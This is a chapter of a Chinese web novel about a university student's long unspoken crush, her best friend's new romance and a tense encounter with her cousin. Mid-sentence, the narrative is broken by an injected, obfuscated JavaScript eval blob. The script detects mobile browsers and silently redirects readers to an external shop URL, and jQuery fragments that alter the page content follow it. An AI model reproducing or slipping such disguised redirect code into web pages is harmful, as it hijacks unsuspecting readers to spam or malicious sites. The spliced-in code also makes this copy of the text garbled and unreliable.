32. 勇敢者

作品:《如果雨落下

    温夏头也不回地走出去很远才停下来,暗暗地呼着气,但还是忍不住回头看,景栩还有没有跟上来。


    身后朱源松和陈湘,她松了口气的同时,也有些失落。


    温夏的落荒而逃,也让朱源松看出了些端倪。


    没等她开口问,陈湘先出声:“她喜欢人家,在人家面前跟人机残次品似的,总短路。”


    都这会儿了,温夏对她们也没什么好隐瞒的。


    今早她和格格聊过天,格格鼓励她主动出击。


    甚至是怂恿,恨不得在她身边推她一把。


    刚才抬头和景栩对视的瞬间,她心里“轰”的一声,像是烟花炸开。


    她的某个念头,也在那一瞬间彻底炸开了。


    有瓜要吃,朱源松和陈湘干脆找了个环境还不错的清吧,打算慢慢听。


    温夏这次没藏着掖着,把自己少女时期的暗恋全盘托出。


    她说那个沉郁夏天的遇见,说重逢那天的酸橘,说军训时的冰牛奶,说她偷偷藏起来的纸星星,说利口乐的冰川薄荷,说只有自己知道的一场又一场的日落……


    哪怕知道这场喜欢暗无天日。


    也日复一日地坚持着。


    她说。


    “我在自己的世界里,反反复复爱了他好多次。”


    她说这句话的时候,说不上是什么情绪。


    只觉得胸口处有团棉花,堵得她一口气不上不下。


    -


    实习结束后就是开组会写论文,大四的许多人已经签了工作,从学校宿舍搬了出去,正式从象牙塔走向社会。


    温夏的三个室友在此期间陆续也搬走,陈湘回了老家,朱源松的家就在堰青,直接搬回了家里。


    两人说等五月论文答辩再回来。


    孙洁妮是第一个搬走的,和陈湘吵架的第三天就走了。她搬走那天什么都没说,其余三人也什么都没问。


    没人知道她去了哪里,之后有什么打算。


    寝室里又只剩下了温夏一个人。


    温夏以为自己早就习惯了冷清清的宿舍,可她们全部搬走前两天,她还是感到孤单和不舍。


    好在她从小便学会如何适应离别,很快调整好自己的状态。


    提交论文初稿那天,温夏收到了一份翻译助理offer。


    最近短剧盛行,这家新媒体公司虽然成立不久,却势头正盛。从前两年就有发行海外短剧的计划,听说近期才开始落实。


    这家公司的翻译部门急需人才,温夏海投时顺手投了,没想到一周前收到面试通知。今天交完论文初稿,收到了入职通知。


    这段时间似无头苍蝇忙,和每个人的联系都被迫减少。


    这会儿心里石头落地,她腾出一口气。


    想起格格前几天给她打了电话,因为她太忙,没聊两句匆匆挂断,到现在也没再联系。


    她躺在床上,给格格去了个电话。


    格格那边很快接起,语调上扬:“夏夏我跟你说,我谈恋爱啦。”


    温夏并不意外,但想起这么多年程聿都没行动,她还是惊讶了一下:“和程聿?”


    “你咋知道?”


    “……”


    程聿喜欢格格并不是什么秘密,程聿在某种程度上,算得上不解风情。


    但他对格格不一样,在格格面前,他行动永远在前面。尽管毒舌,但每件事都温柔细致,事事为她考虑。


    但格格神经大条,在这种事上反应半慢拍。


    温夏曾经以为,程聿在高考过后就会跟格格表白,但他没有。


    他说,想等她去认识完更多的人之后,再选择他。


    没想到这一等就拖到了大学快毕业。


    每次温夏和格格聊天,聊得更多的一方总是格格。


    这次也没例外,温夏和之前的每一次一样听她说。聊完和程聿的事儿后,两人又东扯西扯了一堆,格格说她最近很喜欢一个爱豆,只可惜没能成团出道。


    然后,猝不及防间,格格话锋一转:“夏夏,他说他喜欢我很久很久了。但是……是我先喜欢他的。”


    温夏听到这话,微微一顿。


    她自诩了解格格,却一点都没察觉出来。


    她一直以为,格格在感情方面总是不够敏锐。听格格这么说,温夏回忆起他们一起相处的点滴,似乎也有迹可循。


    格格向来是个胆大的人,在程聿面前会变成咋咋呼呼的胆小鬼;格格是能躺着绝不坐着的人,却千里迢迢从辽城跑回树阳过暑假;她说过自己比较喜欢北方的城市,却在填报志愿时选了南方的学校……


    每一件事都是在把她的少女心事昭告天下,而他们一直自以为是地觉得,格格是个对感情反应迟钝的人。


    沉默顺着电流蔓延开,温夏不知道说什么,正想着措辞,格格突然开口说:“夏夏,出来接我,我在青外东门。”


    温夏震惊一瞬,“马上。”


    她睡衣都没换,套了件外套就匆忙往东门跑去。


    格格先看到她,冲她跑过来,把手放在她帽子底下:“冷死我了。”


    温夏顺着格格扑过来的力道往前走:“怎么过来了。”


    “我也是临时决定的。”格格说话时有种独特的调子,“我太高兴了,我想过来和你喝酒。”


    温夏转了个弯:“那我们先去超市。”


    除了买酒,温夏还买了些饮料,之后又去买了些零食和熟食。


    比起温夏,格格的酒量好得不是一星半点,温夏一口酒没沾,买的一打酒全进了格格肚子里。


    格格喝了几口就和温夏聊起程聿。


    聊着聊着靠在温夏怀里哭起来,然后又笑起来,再哭起来。


    她把脸从温夏胸前抬起,瓮声瓮气问:“夏夏,我这样会不会很奇怪啊?可是,我真的觉得好幸福。”


    温夏轻拍着她的背,没忍住也跟着她流泪:“不会。我的格格,就该这么幸福。”


    格格抬手替她擦眼泪,自己的眼泪却更凶:“我的夏夏,也要快点幸福。”


    算起来,她们很久没见。


    各自有事要忙,但几乎每年至少会见一次面,每次见都会聊个通宵。


    这次也不例外。


    格格买了一早的高铁票,两人聊到天亮,温夏带她去吃了早餐,然后马不停蹄奔去车站。


    每次送走格格,温夏都会站在原地看很久,等彻底看不见最后一节车厢才离开。


    从高铁站出来,温夏遇到温悦。


    温悦高考并不理想,分数不够上大学,高考结束那个暑假就进了厂,走了那个小县城大多数女孩子的旧路。


    温夏已经很久没见她了,哪怕是大伯出车祸那次,她也没露过面。


    她变化很大,化了很浓的妆,头发大概是很早之前染了酒红色,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575532|137072||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    现在长出了一大截黑发。


    她大概没想到会遇到温夏,表情滞凝一瞬后立刻朝她走过来。


    随着她越走越近,一股劣质廉价的香水味混着冷风扑向温夏。


    “给我拿点钱。”


    温悦毫无预兆地说了这句,说得极为理所当然。


    温夏没打算理她,抬脚往前走却被她拦住:“你一直吃我家的住我家的,这是你欠我的。”


    温夏看向她:“我想你搞错了。我欠了大伯和大伯母的,不欠你。”


    温悦愣在原地,她没想到温夏会这么说,因为记忆里的温夏逆来顺受,无论被她怎么欺负,都默默承受。


    等她回过神,温夏已经走出去好远。


    温悦的出现,像是提醒着温夏那段晦暗的过去。


    看到温悦的那一刻,她脑海里突然想起下初雪那晚,在第三盏路灯下的雪。


    她和景栩明明隔的很远,却仍能感觉到纷纷扬扬飘下来的雪,融在他肩上。


    而且那晚,好像只有他周围的雪融了。


    温夏无力地扯扯唇角,笑自己莫名其妙地将两件毫无关联的事串联起来。


    她回到学校后,戴上蓝牙耳机,在列表里添加了很多场强度不一的雨声,听着走了一圈又一圈。


    不知道第几圈的时候,她感受到肩膀被人轻轻拍了拍。


    她拿下右耳的耳机,转头,看到景栩。


    他眼底含笑,极浅。


    耳机好似突然发烫,烫得她耳尖红红。


    她又变成了陈湘说过的那种人机残次品,不知道说什么,也不知道做什么。


    好半晌后才问:“你来青外找宋陆鸣吗?”


    景栩“嗯”了声,“本来约了吃饭,他临时被教授扣了,我想着来这儿转两圈等他,看到你过来打个招呼。”


    走了会儿,景栩似乎没有要离开的意思。


    她捏了捏手里的耳机,默了默,递给他:“你要听吗?”


    景栩从她手心里捡起耳机,冰凉的指尖却好像将她的手心烫出一个洞。


    温夏抬头,闯进她的眼睛里,看到他眼里倒映着的自己。有一瞬间,她以为回到了那年树阳的夏天。


    景栩戴上耳机后,笑了:“还这么爱听雨声啊?”


    “嗯。”


    他记得这件事。


    温夏心里的调味瓶被打碎,各种感觉混杂在一起,一时分辨不出来到底是什么滋味。


    两人并肩往前走,步调都很慢。


    以往的温夏,听着雨声情绪就会沉静下来,可今天怎么都没办法平静。


    像阳光下无休无止翻飞的灰尘。


    而萦绕鼻尖的橡木苔味道,似乎就是搅动灰尘的元凶。


    在田径场走完一圈,温夏对景栩说:“如果你有事就先走吧。”


    她不知道为什么景栩拒绝了:“很久没有这么悠闲地散步了,再走走吧,不着急。”


    没过几秒,温夏看到一个穿了白色羽绒服的姑娘追在一个黑色羽绒服的男生后面,“没关系,你现在不喜欢我,以后会喜欢的。”


    她看着他们走远,脑海里突然冒出一句:爱是勇敢者的游戏。


    温夏捏着衣角,脑海里循环播放格格鼓励她勇敢迈出第一步的那些话,和卢杭说的那句“勇敢到底吧”。


    这两种声音在脑海里交织,在她完全理清前,停住脚步喊了景栩的名字。